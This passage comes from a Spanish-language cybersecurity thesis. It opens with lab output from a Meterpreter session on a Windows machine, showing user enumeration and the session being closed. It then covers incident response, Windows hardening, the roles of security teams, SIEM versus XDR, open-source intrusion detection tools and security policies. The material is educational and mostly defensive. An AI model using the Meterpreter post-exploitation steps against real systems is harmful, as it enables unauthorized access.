Deshabilitar
%systemroot%\system32\LogFiles\Firewall\

4096
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Una vez finalizada la accién dentro de la maquina victima solo basta con terminar

la sesidn de meterpreter como se observa en la Figura 35.

Figura 35. Finalizacion de la sesién de meterpreter.

C:\Users\laboratorio\Downloads>net user
net user

Cuentas de usuario de \\DESKTOP-B3SLS7M

Administrador DefaultAccount Invitado
laboratorio WDAGUt1lityAccount
Se ha completado el comando correctamente.

C:\Users\laboratorio\Downloads>exit
exit
meterpreter > |

meterpreter > exit
Shutting down Meterpreter ...

192.168.1.103 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit( ) > B

Fuente: Propia

59



4.4 CONTENCION DE ATAQUES INFORMATICOS

En este capitulo se abordan los procesos realizados para la deteccion, contencién

y eliminacion del ataque del escenario propuesto.

4.41 Pasos para la identificacion de un ataque en tiempo real

Uno de los eventos mas cruciales a nivel de seguridad en cualquier organizacion
sucede cuando se esta bajo un ataque informatico, sin embargo, la preparacion
previa ante estos eventos puede ser un factor decisivo para el manejo de esta
situacion minimizando el impacto que pueda tener para los activos de la

organizacion

A continuacion, se realiza la descripcion de los pasos necesarios que deben
llevarse a cabo para la identificacion de un ataque informatico, basados en la Guia
para la Gestion y Clasificacion de Incidentes de Seguridad de la Informacién del
MinTic33.

4.4.1.1 Preparacion

Iniciando con que la prevencion de los posibles ataques informaticos es la base
para generar una respuesta adecuada, el area se seguridad junto con el equipo de
atencion a incidentes deben generar la hoja de ruta para la identificacion,
respuesta, contencién, eliminacién y recuperacién. Esta hoja de ruta debe incluir a
todas las personas de la organizacion en cuanto al reporte de posibles eventos o
incidencias, asi como los equipos especializados para su respectiva clasificacion y
manejo, como el apoyo de todos los actores directivos y administrativos que

faciliten la atencion.

33 MINTIC. Guia para la Gestion y Clasificacion de Incidentes de Seguridad de la Informacion.
Seguridad y privacidad de la informacion. Version 1.2 del 6 de noviembre del 2016.

60



4.4.1.2 Deteccion y analisis

Entendiendo los elementos que pueden dar sefiales de un incidente cibernético
como lo serian, alertas en los sistemas de seguridad, comportamientos anémalos,
informes de herramientas especializadas, logs de dispositivos, reportes de los
propios usuarios como fue el caso del escenario propuesto, se abordaria este
evento para su analisis, entendiendo el impacto que tendria o podria generar para
toda la organizacidon, se clasificaria su magnitud mediante los procesos ya
previamente establecidos por la organizacion, donde para el escenario propuesto
una filtraciéon de informacién donde se vio comprometido el acceso de forma
remota a uno de los equipos de la organizacion pone en riesgo toda la red de la

organizacion siendo una evento de alta prioridad.

4.4.1.3 Acciones de contencion y erradicacion

La primera accion a realizar una vez identificado el tipo de ataque y como se
originé segun el escenario analizado, lo primero en realizarse seria el aislamiento
del equipo comprometido de la red, esto con el fin de que no pudiese establecerse
la conexion del atacante con el equipo, posteriormente analizar cada uno de los
elementos de la red, o los equipos circundantes que pudiesen presentar
caracteristicas sospechosas o comportamientos que dieran lugar a una nueva

intrusion verificando las medidas de seguridad ya previamente establecidas.

De forma paralela se realizaria el respectivo reporte a las entidades legales
correspondientes para su conocimiento y disposicion; una vez contenida la
amenaza, se procederia a erradicar el malware encontrado en este caso el
payload encontrado que genero la conexion y verificando cual fue la informacién

que pudo verse comprometida bajo un analisis forense del equipo vulnerado.
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4.4.1.4 Recuperacion y lecciones aprendidas

De encontrarse informacion alterada o eliminada se realizaria un intento por
recuperar los datos, en caso de que esto no fuese posible se haria uso de los
backups periddicos establecidos por la organizacién, restaurando la informacién al
punto mas cercano. Por otro lado, se revisarian los hallazgos del evento para
implementar las medidas necesarias que eviten la repeticién del mismo, del mismo
modo replicar las medidas en los diversos equipos de la organizacion y de ser
necesario ajustar las politicas de seguridad vigentes junto con la capacitacion del
personal para que sean menos propensos a ser afectados por este tipo de
ataques. Por ultimo, llevar el registro del evento en todas sus fases, con el fin de
tener un manual de ruta ante incidencias parecidas, asi como generar una base de
informacion que pueda ser de ayuda tanto para la organizacion como para otras

organizaciones que puedan presentar el mismo evento.

4.4.2 Paso a paso realizado para asegurar y erradicar el ataque del
escenario propuesto

Para erradicar el malware de forma inicial, se realizé la eliminacion del archivo
malicioso encontrado PoC_1049640160.exe, posterior a esto tras identificar que
todas las defensas del equipo estaban desactivadas, se activaron
progresivamente, como se observa en la Figura 36, se activd la configuracion de
proteccion contra virus y amenazas de Windows. Estos elementos son especificos

contra algunas firmas de virus y amenazas ya conocidas por Windows defender.
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Figura 36. Activacion de la configuracion de proteccidn contra virus y amenazas.

Configuraciéon de

*a Proteccion contra virus
y amenazas

Visualiza y actualiza la configuracién de

Proteccién contra virus y amenazas para Antivirus
de Microsoft Defender

Proteccion en tiempo real

Localiza el malware e impide que se instale o
ejecute en el dispositivo. Puedes desactivar esta
opcién durante un breve periodo antes de que
vuelva a activarse automaticamente.

Q Activado

Proteccion basada en la nube

Proporciona una proteccién mayor y mas rapida
con acceso a los datos de proteccion mas
recientes en la nube. Funciona mejor cuando el
envio automatico de muestras esta activado.

Q Activado

Fuente: Propia

Del mismo modo dentro de la configuracion se activd la proteccion contra

alteraciones como se muestra en la Figura 37.

Figura 37. Activacion de la proteccion contra alteraciones.

Envio automatico de muestras

Envia archivos de muestra a Microsoft para
ayudar a protegerte a ti y a otras personas de
posibles amenazas. Te preguntaremos si el
archivo que necesitamos podria contener
informacion persenal.

0 Activado

Enviar una muestra manualmente

Proteccion contra alteraciones

Impide a otros alterar caracteristicas de
seguridad importantes.

0 Activado

Mas informacion

Fuente: Propia
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Posteriormente se realizd la activacion de los firewalls de red de dominio, de red

privada y de red publica como se muestra en la Figura 38.

Figura 38. Activacion de los firewalls por defecto de Windows.

Firewall y proteccién de
red

Quién y qué puede tener acceso a las redes.

(« |1)

Red de dominio

El firewall esta activado.

88 Red privada (activa)

El firewall esta activado.

B Red publica

El firewall esta activado.

Fuente: Propia

De forma complementaria se activa el bloqueo de conexiones entrantes, ya que no
son elementos de los que requiera el equipo del usuario, como se observa en la
Figura 39.

Figura 39. Bloqueo de conexiones entrantes.

Firewall de Microsoft Defender

Ayuda a proteger el dispositivo mientras te
encuentras en una red publica.

Q Activado

Conexiones entrantes

mpide las conexiones entrantes cuando te
encuentras en una red publica.

Bloquea todas las conexiones entrantes,
incluidas las de la lista de aplicaciones
permitidas.

Fuente: Propia
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Es importante mencionar que la configuracion del firewall del equipo puede variar
en cada caso dependiendo de las necesidades especificas del usuario final, dando

permiso o bloqueando las conexiones de diversas aplicaciones.

En cuanto a la navegacion y la descarga de posibles archivos maliciosos basados
en la reputacion se realizé la activacion del filtro SmartScreen de Windows de la
misma manera se reviso la configuracion de la proteccidén contra vulnerabilidades

de seguridad, como se observa en la Figura 40.

Figura 40. Activacion de la proteccion basada en reputaciéon y proteccion contra

vulnerabilidades de seguridad.

= Proteccion basada en
reputacion

Esta configuracién protege el dispositivo de
aplicaciones, archivos y sitios web
malintencionados o potencialmente no
deseados.

Configuracion de Proteccién basada en reputacion

Proteccion contra
vulnerabilidades de seguridad

La proteccién contra vulnerabilidades de
seguridad estd integrada en Windows 10 para
ayudar a proteger el dispositivo contra
ataques. El dispositivo tiene establecida la
configuracion de proteccién de fabrica que
funciona mejor para la mayoria de los usuarios.

Configuracién de proteccion contra vulnerabilidades
de seguridad

Fuente: Propia

Asi mismo se activa la opcidn de proteccion contra el ransomware, que protege los
archivos del equipo contra modificaciones no autorizadas, como se muestra en la

Figura 41.
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Figura 41. Activacion de proteccidon contra ransomware, acceso controlado a

carpetas.

Acceso controlado a carpetas

Protege los archivos, las carpetas y las areas de
memoria del dispositivo contra modificaciones
no autorizadas de aplicaciones hostiles.

m Activado

Fuente: Propia

Para el caso de la version de Windows 10 del laboratorio, esta no contaba con el
aplicativo de escritorio remoto, pero se recomienda deshabilitarlo como lo sugiere
la guia de hardenizacion de Floating Point34. Adicionalmente a la activacion de las
medidas de proteccion de Windows, se revisan las actualizaciones automaticas
del equipo que permite el parcheo de posibles vulnerabilidades descubiertas en el

tiempo como se muestra en la Figura 42.

Figura 42. Revision de actualizaciones de Windows.
Windows Update

EI Actualizaciones disponibles

Ultima comprobacién: hoy, 3:58 p. m.

Herramienta de eliminacién de software malintencionado de Windows x64, v5.117 (KBE890330)
Estado: Instalacion pendiente

2023-09 Actualizacién acumulativa para .NET Framework 3.5, 4.8 y 4.8.1 para Windows 10 Version 22H2
para x64 (KB5030180)
Estado: Instalacidn pendiente

2023-09 Actualizacién acumulativa para Windows 10 Version 22H2 para sistemas basados en x64
(KB5030211)

Estado: Instalacion pendiente

Instalar ahora

Fuente: Propia

34 FLOATING POINT. Hardening en Windows 10: Protege tu ordenador de hackers, virus,
ransomware y mas. [En linea). [Consultado en 18 de Septiembre de 2023]. Disponible en:
https://floatingpoint.sorint.it/blog/post/hardening-en-windows-10-protege-tu-ordenador-de-hackers-
virus-ransomware-y-ms
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Como medida adicional, se modificé la contrasefia de acceso al equipo por una
mucho mas segura, dificultando el acceso al mismo por una persona no

autorizada, como se muestra en la Figura 43.

Figura 43. Cambio de contrasefa del usuario del equipo.

(© Cambiar la contrasefia

Mueva contrasefia

Confirmar
contrasefna

Indicio de Grupo de 5eguridad|
contrasefia

Fuente: Propia

Se sugiri6 realizar una copia de seguridad del equipo, esto con el fin de tener un
punto de restauracién ante algun posible incidente informatico, como se muestra

en la Figura 44.

Figura 44. Creacion de copia de seguridad.
Copia de seguridad con Historial de archivos

Crea una copia de seguridad de tus archivos en oftra unidad vy
restauralos si los archivos originales se pierden, dafian o eliminan.

Agregar una unidad
_|_

Fuente: Propia
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Por ultimo, se sugiere que se genere una capacitacion de los comportamientos
que los usuarios finales realizan que pueden convertirse en una brecha de
seguridad para la organizacion, asi como la importancia del establecimiento de
roles y permisos dentro de la organizacién para evitar modificaciones accidentales

sobre los equipos.

4.4.3 Diferencias entre los equipos red team, blue team, purple team y
equipos de incidentes informaticos

A continuacién, se listan algunas de las caracteristica y principales diferencias de
los equipos, red team, blue team, purple team y el equipo de incidentes

informaticos:

4.4.3.1 Red Team

Como se menciona en el articulo de Keepcoding, ;Qué es Red Team en
Ciberseguridad?3° El objetivo principal del Red Team se enfoca en realizar
simulaciones de ataques y pruebas de penetracion para identificar
vulnerabilidades en la infraestructura de la organizacion, haciendo énfasis en las

vulnerabilidades mas criticas.

Dentro de sus caracteristicas principales estan:

¢ Independencia - Opera de manera independiente de otros equipos de
seguridad.
e Ataque Simulado - Actua como un atacante real para identificar debilidades

en la organizacion.

35 KEEPCODING. ;Qué es Red Team en Ciberseguridad? [En linea]. [Consultado en 18 de
Septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-red-team-en-ciberseguridad/
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e Enfoque Adversarial - Adopta un enfoque adversarial para evaluar la

resistencia de la organizacion.

El red team tiene como diferencia de otros equipos en que se enfoca unicamente
en pruebas de penetracion y simulaciones de ataque, a diferencia del Blue Team 'y
el Equipo de Incidentes Informaticos, ademas el red team trabaja de manera

independiente y no se centra en la defensa activa como lo hace el Blue Team.

4.4.3.2 Blue Team

Como menciona Keepcoding en su articulo ;Qué es el blue team en
ciberseguridad?3%. El objetivo del Blue Team es defender la infraestructura de la
organizacion contra amenazas cibernéticas y responder a incidentes de seguridad,

colaborando con las medidas correctivas pertinentes.

Dentro de sus caracteristicas principales estan:

e Defensa Activa: Implementa controles de seguridad y monitoriza la
infraestructura para detectar y prevenir amenazas.

e Trabajo en Equipo: Colabora estrechamente con otros equipos de
seguridad.

e Enfoque Defensivo: Se centra en la proteccion de la organizacion.

Lo que diferencia al blue team de los demas equipos es que este se centra en la
defensa activa y pasiva apoyando la respuesta a incidentes, en contraste con el
Red Team que simula ataques, este equipo se caracteriza por trabajar en conjunto

con otros equipos para proteger la infraestructura informatica.

3 KEEPCODING. ¢ Qué es Blue Team en Ciberseguridad? [En linea]. [Consultado en 18 de
Septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-blue-team-en-
ciberseguridad/
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4.4.3.3 Purple Team

Como menciona Keepcoding en su articulo ;Qué es purple team en
ciberseguridad?3” EIl Purple Team actia como un puente entre el Red Team y el

Blue Team, facilitando la colaboracion y la mejora continua de la seguridad.

Dentro de sus caracteristicas principales estan:

e Coordinacién: Facilita ejercicios conjuntos entre el Red Team y el Blue
Team.

e Evaluacién Continua: Comparte hallazgos y lecciones aprendidas para
mejorar la seguridad.

e Mejora de Defensas: Ayuda a la organizacién a fortalecer su postura de

seguridad.

Dentro de las diferencias mas notorias con los otros equipos estan que estos no
se centran en realizar pruebas de penetracion ni en la respuesta a incidentes,
como el Red Team y el Blue Team, si no que su funcion es algo mas
administrativa y comunicativa centrada en la facilitacion de la colaboracion entre
equipos, asi como las necesidades organizacionales de seguridad enfocadas a la

continuidad del negocio.

4.4.3.4 Equipo de incidentes informaticos

El equipo de respuesta a incidentes informaticos, mas conocido como CSIRT,

como menciona el articulo de TechTarget Equipo de Respuesta frente a

37 KEEPCODING. ¢ Qué es Purple Team en Ciberseguridad? [En linea]. [Consultado en 18 de
Septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-purple-team-en-
ciberseguridad/#:~:text=Podriamos%20pensar%20que%20el%20Equipo,de%20seguridad%20de%
20la%20organizacion.
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Incidencias de Seguridad Informatica (CSIRT)3® tiene como mision responder a
incidentes, investigar amenazas y ayudar en la recuperacién de los sistemas
afectados.

Aunque existen diferentes tipos de CSIRT comparten algunas caracteristicas

como.

¢ Respuesta Reactiva: Actua en respuesta a incidentes identificados.
e Investigacion: Analiza las brechas de seguridad y las amenazas.

e Recuperacién: Trabaja en la restauracion y mitigacion de dafios.

Entendiendo que su enfoque es reactivo, a diferencia del Red Team y el Blue
Team que tienen un enfoque mas proactivo en pruebas y defensa. El equipo
CSIRT se centra en la respuesta y recuperacion después de un incidente, su

documentacion y todo el ciclo de vida que puede generar un evento de seguridad.

Cada uno de estos equipos de seguridad tiene un propdsito unico vy
complementario en la proteccion de una organizacion contra amenazas
cibernéticas. La colaboracion y la coordinacién entre estos son esenciales para
fortalecer la seguridad de las organizaciones. Mientras que el Red Team y el Blue
Team se enfocan en aspectos especificos de la ciberseguridad, el Purple Team
facilita la mejora continua, y el Equipo de Incidentes Informaticos juega un papel
crucial en la respuesta y recuperacion ante incidentes. Juntos, estos equipos
ayudan a las organizaciones a estar preparadas y resilientes en un entorno

cibernético en constante evolucion.

3% TECHTARGET. ComputerWeekly.es. Equipo de Respuesta frente a Incidencias de Seguridad
Informatica (CSIRT). [En linea]. [Consultado en 18 de Septiembre de 2023]. Disponible en:
https://www.computerweekly.com/es/definicion/Equipo-de-Respuesta-frente-a-Incidencias-de-
Seguridad-Informatica-
CSIRT#:~:text=Un%20Equipo%20de%20Respuesta%20frente,Existen%20diversos%20tipos%20d
€%20CSIRTs.

71



4.4.4 Funcionamiento del CIS — Center for Internet Security dentro del
equipo Blue team

El CIS — Center for Internet Security®® es una organizacién sin animo de lucro
creada en el afio 2000 que busca mejorar la confianza en el mundo interconectado
proporcionando recursos tecnolégicos y procedimentales a las personas,
gobiernos y organizaciones para la mejora de la seguridad informatica. Al ser una
comunidad global hay una continua actualizacién de los recursos que ofrecen,
ademas de suministrar evidencia de casos de éxito donde se han implementado,
existen algunos recursos gratuitos, y otros de pago en asociaciones con diferentes

proveedores tecnolégicos como Microsoft, IBM, Oracle, Red Hat entre otros.

Dentro de sus recursos principales estan:

e CIS Controls: Implementacion de controles de seguridad bajo estandares
mundiales y mejores practicas de seguridad.

e CIS-CAT Pro: Evalua los sistemas segun las directrices de hardening
lideres en la industria.

e CIS CSAT Pro: Rastrea, prioriza y aumenta el uso de las mejores practicas
de seguridad.

e CIS Hardened Images: Simplifica la seguridad en la nube con imagenes
virtuales precargadas.

e CIS Build Kits: Automatiza la forma de aplicar configuraciones seguras.

Su arbol de servicios puede encontrarse en su pagina principal, donde se abarcan

diversos aspectos de la ciberseguridad, desde asegurar la organizacion, las

39 CIS. Center for Internet Security. About us. [En linea]. [Consultado en 19 de Septiembre de
2023]. Disponible en: https://www.cisecurity.org/about-us
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plataformas tecnoldgicas y sus casos especificos como se puede observar en la
Figura 45.

Figura 45. Recursos ofrecidos por el CIS — Center for Internet Security.

E@‘g Secure Your Organization

= B .
CIS Critical Security Controls CIS Controls Community 100 US. State, Local, Tribal & Territorial Governments
Prioritized & simplified best practices Help develop and maintain the Controls
CIS RAM CIS CSAT Memberships Services for Members
Information security risk assessment Assess & measure Controls MS-ISAC Albert Network Monitoring®
method implementation Cybersecurity resource for SLTT Cost-effective Intrusion Detection System
Governments ) .
Managed Security Services
A Secure Specific Platforms EI-ISAC® Security monitoring of enterprises devices
Election-focused cyber defense suite . . .
CIS Benchmarks™ CIS Benchmarks Community CIS Endpoint Security Services
100+ vendor-neutral configuration guides Develop & update secure configuration Elections Device-level protection and response
guides CIS CyberMarket®

Election Security Tools And Resources  sayings on training and software

CIS-CAT*Pro CIS Hardened Images® .
A N " toCls Virtual hardened to IS Sources to support the cybersecurity

9sess system conformance to Irtualimages hardened to needs of the election community Malicious Domain Blocking and
Benchmarks Benchmarks on cloud service provider

e Reporting Plus
marketplaces Prevent connection to harmful web

domains

CIS SecureSuite®
Start secure and stay secure with integrated cybersecurity LEARN MORE —> VIEW ALL CIS SERVICES —>

tools and resources designed to help you implement CIS APPLY NOW —>
Benchmarks and CIS Controls

| VIEW ALL PRODUCTS & SERVICES —>

Fuente: CIS. Center for Internet Security. Cybersecurity Tools and Resources. [En
linea]. [Consultado en 19 de Septiembre de 2023]. Disponible en:
https://www.cisecurity.org/cybersecurity-tools

Es importante mencionar que los recursos que provee el CIS son aplicables a
cualquier organizacion sin importar su tamano, por lo que cualquier persona u
organizacion que desee acceder a esta informacién puede ingresar a la direccion

web https://www.cisecurity.org/cybersecurity-tools y seleccionar la herramienta que

desee implementar segun sus necesidades y obtener mas informacién de cémo

puede llevar a cabo el proceso, como se observa en la Figura 46.
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Figura 46. Herramientas y recursos disponibles del CIS.
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Fuente: CIS. Center for Internet Security. Cybersecurity Tools and Resources. [En

lineal.

[Consultado en

19 de Septiembre de 2023]. Disponible en:

https://www.cisecurity.org/cybersecurity-tools

Para la descarga de algunos de los recursos la pagina requerira de un registro

simple, con datos sencillos como se observa en la Figura 47.
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Figura 47. Registro para la descarga de recursos en el CIS.
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Fuente: CIS. Center for Internet Security. Benchmarks. [En linea]. [Consultado en

19 de Septiembre de 2023]. Disponible en: https://learn.cisecurity.org/benchmarks

Teniendo en cuenta lo anterior el CIS desempefia un papel clave apoyando las
funciones del blue team, siendo una gran fuente de informaciéon con el fin de
mejorar la seguridad en la organizacion, al abarcar estandares de seguridad
mundiales, guias de configuracion de diferentes plataformas, herramientas de
evaluacion de seguridad, informacién actualizada de amenazas, y una amplia
comunidad, siempre sera posible la mejora continua de la seguridad en cualquier
ambito, lo que facilita el trabajo del blue team para identificar sus prioridades y asi
aplicar los recursos necesarios segun las necesidades especificas de la

organizacion.
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4.4.5 Diferencias existentes entre un SIEM y un XDR

Un SIEM#° y un XDR*' son dos soluciones de seguridad que desempeiian roles

diferentes en la proteccion y deteccion de amenazas. A continuacién, en la Tabla

1, se muestran las diferencias clave entre un SIEM y un XDR:

Tabla 1. Diferencias entre un SIEM y un XDR.

SIEM (Security Information and Event

Management)

XDR (Extended Detection and Response)

El SIEM se enfoca en la recopilacién, correlacion

y anadlisis de datos de eventos y registros de

El XDR se centra en la deteccion avanzada y la

respuesta a amenazas, integrando datos de multiples

Funcion seguridad de multiples fuentes para proporcionar fuentes para identificar amenazas mas sofisticadas y
Principal visibilidad en tiempo real de la actividad de la red generar respuestas automatizadas.
y sistemas.
Se basa principalmente en datos de registros Incorpora datos de eventos, registros y también datos
(logs) y eventos generados por dispositivos, de endpoints, correo electrénico, nube, entre otros.
aplicaciones y sistemas de seguridad. Puede Utiliza la telemetria de endpoints para una deteccion
Datos incluir registros de firewall, registros mas precisa.
autenticacion, registros de sistemas operativos,
entre otros.
Realiza andlisis de eventos en tiempo real y Realiza un analisis avanzado de amenazas utilizando
puede generar alertas basadas en reglas técnicas de machine learning y andlisis de
Analisis predefinidas. Proporciona visibilidad y correlacion comportamiento para identificar amenazas mas
de eventos, lo que permite a los equipos de avanzadasy ataques persistentes.
seguridad investigar y responder a incidentes.
Ofrece capacidades basicas analisis de riesgos Ofrece capacidades avanzadas de analisis de riesgos
Gestion de empresariales para ayudar a los equipos de empresariales, incluyendo automatizacion de
eventos y seguridad a gestionar incidentes. respuestas, para combatir de manera efectiva las
respuestas amenazas.
Mantiene un registro histérico de eventos y alertas  Proporciona un contexto mas amplio y permite la
Historial para fines de auditoria y cumplimiento. correlacion de amenazas en tiempo real, lo que facilita

Fuente: Propia

la identificacion de campafas de ataque mas amplias.

40 IBM. ¢ Qué es SIEM? [En linea]. [Consultado en 19 de Septiembre de 2023]. Disponible en:

https://www.ibm.com/mx-es/topics/siem

41 KASPERSKY. ¢ Qué es la deteccidn y respuesta ampliadas (XDR)? [En linea]. [Consultado en 19
de Septiembre de 2023]. Disponible en: https://latam.kaspersky.com/resource-

center/definitions/what-is-xdr
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4.4.6 Herramientas de deteccidon de ataques informaticos con licencia GPL

Existen varias herramientas de deteccién de ataques informaticos con licencia
GPL (General Public License) que son de codigo abierto y pueden ser utilizadas
de forma gratuita. Dentro de las mas conocidas y usadas en entornos

empresariales y medianas empresas estan:

4.4.6.1 Snort

Snort*? es una de las herramientas mas conocidas a nivel de IPS (Intrusion
Prevention Systems) que utiliza reglas predefinidas y ajustables para identificar y
alertar sobre actividades sospechosas en la red. Se caracteriza por ser altamente
configurable, sin embargo, también se puede usar de forma sencilla como un
sniffer de paquetes o registrador de paquetes para depuracion de forma individual,
uniendo estas caracteristicas dan lugar a un IPS suficientemente robusto para la
mayoria de aplicaciones existentes en seguridad. La ubicacion de Snort en la
infraestructura sera un punto clave para garantizar su correcto funcionamiento y la

disminucién de falsos positivos.

4.4 6.2 Suricata

Suricata? es otro sistema de deteccién de intrusos en la red de cddigo abierto que
se centra en el rendimiento y la capacidad de procesamiento de alto rendimiento.
Puede detectar una gran variedad de amenazas de red basado en
comportamiento y firmas, puede detectar violaciones sobre las politicas
implementadas ademas de ser compatible con las reglas de Snort. Tiene una
interfaz grafica muy amigable con el usuario lo que permite analizar la informacién

recolectada de forma sencilla, para la toma de decisiones ante un posible evento

42 SNORT. What is Snort? [En linea]. [Consultado en 20 de Septiembre de 2023]. Disponible en:
https://www.snort.org/

43 SURICATA. Features. [En linea]. [Consultado en 20 de Septiembre de 2023]. Disponible en:
https://suricata.io/features/
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como se puede observar en la Figura 48, asi como para la generacion de reportes

de estado de la red monitoreada.

Figura 48. Interfaz grafica de Suricata

Fuente: SURICATA. Industry Standard Outputs. [En linea]. [Consultado en 20 de
Septiembre de 2023]. Disponible en: https://suricata.io/features/

4.4.6.3 Fail2ban

Fail2ban** es una herramienta de prevencion de intrusiones que monitorea los
registros de eventos de un servidor y toma medidas para bloquear
automaticamente las direcciones IP que intentan ataques de fuerza bruta o
patrones de comportamiento malicioso. En términos sencillos Fail2ban lo que hace
es agregar reglas al firewall dependiendo el comportamiento de los registros,
siendo una herramienta de automatizacion de procesos ante comportamientos no
deseados, siendo un complemento de revision sobre las alertas generadas por los
IPS, Fail2ban es una herramienta muy liviana pero suficientemente poderosa para

ajustar las medidas de seguridad del firewall.

44 FAIL2BAN. Main Page. [En linea]. [Consultado en 20 de Septiembre de 2023]. Disponible en:
https://www.fail2ban.org/wiki/index.php/Main_Page
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5 ¢DE QUE MANERA PUEDEN APORTAR EN EL CAMPO DE LA
CIBERSEGURIDAD LA INTEGRACION DE EQUIPOS BLUE TEAM, RED
TEAM Y PURPLE TEAM AL MISMO TIEMPO DENTRO DE UNA
ORGANIZACION?

La integracion de estos equipos en una organizacion permite a sus directivos y
colaboradores entender de forma clara donde se encuentran a nivel de seguridad
informatica para posteriormente tomar las medidas efectivas basadas en sus
necesidades. De forma general el Red Team puede identificar y corregir
debilidades antes de que los ciberdelincuentes las exploten, el Blue Team puede
hacer uso de la informaciéon del Red Team tras la ejecucidén de las pruebas y
posteriormente junto con la orientacion del Purple Team, puede fortalecer las
defensas de manera proactiva. Esta colaboracién estratégica ayuda a las
organizaciones a estar mejor preparadas para enfrentar amenazas cibernéticas y

a mejorar sus medidas de seguridad global.

Lo anterior puede verse traducido en mejoras financieras y econémicas dado que
la correcta implementacién de estos equipos dara lugar a una informaciéon mucho
mas detallada frente al analisis de riesgos de la organizacién, lo que conlleva a
una inversion en tecnologia y seguridad consciente y acertada sustentable en el
tiempo. Por otro lado, se tiene una mejora en la calidad de los procesos del
manejo de la informaciéon, cumpliendo con estandares nacionales e
internacionales que pueden ofrecer una mejora reputacional frente a los clientes

finales, asi como la facilidad de mejora continua en los procesos de auditoria.

79



6 POLITICAS DE SEGURIDAD Y RECOMENDACIONES PARA MEJORAR
LOS ASPECTOS DE CIBERSEGURIDAD EN CUALQUIER ORGANIZACION

Haciendo referencia a la necesidad de implementar equipos especializados como

Red team, Blue Team y Purple Team, es necesario apoyar los procesos de

seguridad con politicas que permitan vigilar y controlar las actividades de las

organizaciones a nivel de seguridad, por ello se recomienda como minimo

implementar las siguientes politicas:

Politica de acceso y control: Esta politica debera contener las medidas
necesarias que garanticen un uso aceptable y seguro de contrasefas,
acceso a sistemas o informacion basado en roles, asi como el registro de
acceso a los mismos, lo que permitira auditar e identificar qué persona

accedid a determinado recurso o informacion.

Politica de seguridad de red: Esta politica debera contener las medidas
necesarias del uso y configuracion de los recursos de red vy
telecomunicaciones, la definicion de las personas capacitadas, la
documentacion de los procesos asociados a la administracion de la red, el
uso correcto de este recurso por parte de los colaboradores de la
organizacion, asi como la actualizacién de software y/o hardware en los

dispositivos propios de la red.

Politica de respuesta a incidentes: Esta politica debera contener las
medidas necesarias para los colaboradores de la organizacion frente al plan
de respuesta a incidentes y eventos cibernéticos, detallando los pasos a
seguir ante una brecha de seguridad donde se especifiquen los roles

responsables de la atencién a este tipo de situaciones, del mismo modo
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qgue se incluye en el plan de atencion y recuperacion de desastres, instruir a

los colaboradores de la organizacion bajo ejercicios de simulacro.

Politica de gestién de activos: Esta politica debera contener las medidas
adecuadas para mantener actualizado el inventario de activos de
informacion de la organizacién, asi como la creacidn, almacenamiento,
disposicion y eliminacién de los datos relacionados, de forma especifica se
deberan categorizar, esto con el fin de aplicar las medidas de proteccion

necesarias en cada caso.

Politica de auditoria externa e interna: Esta politica debera contener las
medidas adecuadas para evaluar cada uno de los procesos inmersos en la
seguridad de la informacion, de forma interna para los procesos de la
organizacion, y de forma externa para aquellos proveedores o terceros que

tengan acceso a la informacion de la organizacion o sus clientes.

Politica de colaboracién de equipos de seguridad: Esta politica debera
contener las medidas que permitan definir roles y responsabilidades frente
a los hallazgos, planes de mejora, innovacién y proyectos que se definan
para la mejora de la seguridad de la organizacion. Se estableceran alli las
reglas de juego que permitan promover la comunicacion abierta y la

colaboracion continua que den lugar a una seguridad informatica proactiva.
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7 ENLACE DEL VIDEO DE SUSTENTACION

A continuacién, se muestra el enlace del video de sustentacion correspondiente a

esta fase:

e One drive Video Etapa 5 Seminario de Investigacion.mp4

e Google Drive https://drive.google.com/file/d/1cRMMiu9AQFQR141kpOUxA-
d9B9Vsak2 /view?usp=sharing
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https://drive.google.com/file/d/1cRMMiu9AQFQR14lkp0UxA-d9B9Vsqk2_/view?usp=sharing

8 CONCLUSIONES

Aunque existen leyes que intentan regular muchos de los comportamientos
ilicitos relacionados a la ciberseguridad aun existen grandes vacios legales
en la misma debido a la gran cantidad de amenazas que surgen dia a dia,
ademas de la actualizacion continua de las tecnologias, teniendo esto en
mente se hace necesario que no solo las personas del gremio de la
ciberseguridad estén al tanto de estas amenazas si no que el ciudadano de
a pie se concientice de la importancia de la seguridad digital desde el

ambito personal hasta el organizacional.

En cuanto al ejercicio del pentesting, es un proceso clave para la mejora
continua de la seguridad en las organizaciones, a su vez es importante que
con la existencia de diferentes marcos de trabajo es posible sacar lo mejor
de estos para ajustarlos de forma especifica a las necesidades que tengan
las organizaciones, estos marcos hibridos pueden llegar a obtener

resultados mucho mas certeros bajo una correcta aplicacion.

El buen uso de herramientas que facilitan el proceso de pentesting, requiere
del conocimiento, practica y experiencia de las mismas, sin embargo, no
deben ser camisa de fuerza para cumplir con su objetivo, motivo por el cual
el especialista en seguridad informatica debe ser capaz de actualizarse
continuamente con las herramientas que mejor se adecuen a los objetivos

propuestos.

Los acuerdos de confidencialidad como todos aquellos documentos que
establecen una serie de reglas y directrices para el ejercicio de la profesion
de los especialistas en seguridad informatica deben revisarse con especial

cuidado, esto al entender que la aplicacion de algunos de los conocimientos
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técnicos de los especialistas, roza una linea muy delgada con la ilegalidad
si no son ejecutados de forma adecuada, siguiendo las leyes establecidas
en este caso para el territorio Colombiano, pero que pueden variar dado el
mundo interconectado en el que nos encontramos y las fronteras legales de

los paises en el ciberespacio se hacen difusas.

Especificamente la ley 1273 de 2009, ofrece un marco regulatorio para los
delitos informaticos, pero deja muchos vacios en cuanto las personas
facultadas en su ejecucion, asi como casos especiales dentro de los
mismos delitos informaticos que cada dia se actualizan, en la misma
medida los articulos de la ley deberian actualizarse, esto con el fin de
restringir comportamientos que afecten la seguridad informatica de las

personas y las organizaciones.

Adicionalmente a las leyes, cddigos, reglamentaciéon en general, es clave
mencionar que el ejercicio de la seguridad informatica tiene un alto
componente ético y moral, que deberia tenerse en cuenta para el ejercicio
de esta profesion, ya que muchas veces este conocimiento enfocado y
dirigido de una forma equivocada, puede representar un riesgo bastante

grande para las personas.

Metasploit es un marco de trabajo para pentesting bastante amplio, que
facilita al pentester diferentes fases del proceso y como herramienta
complementaria a este nmap ante el escaneo de diferentes
vulnerabilidades, incluso nmap relaciona las vulnerabilidades encontradas
con muchos de los exploits existentes de metasploit, siendo estas como la

navaja suiza para el pentesting.

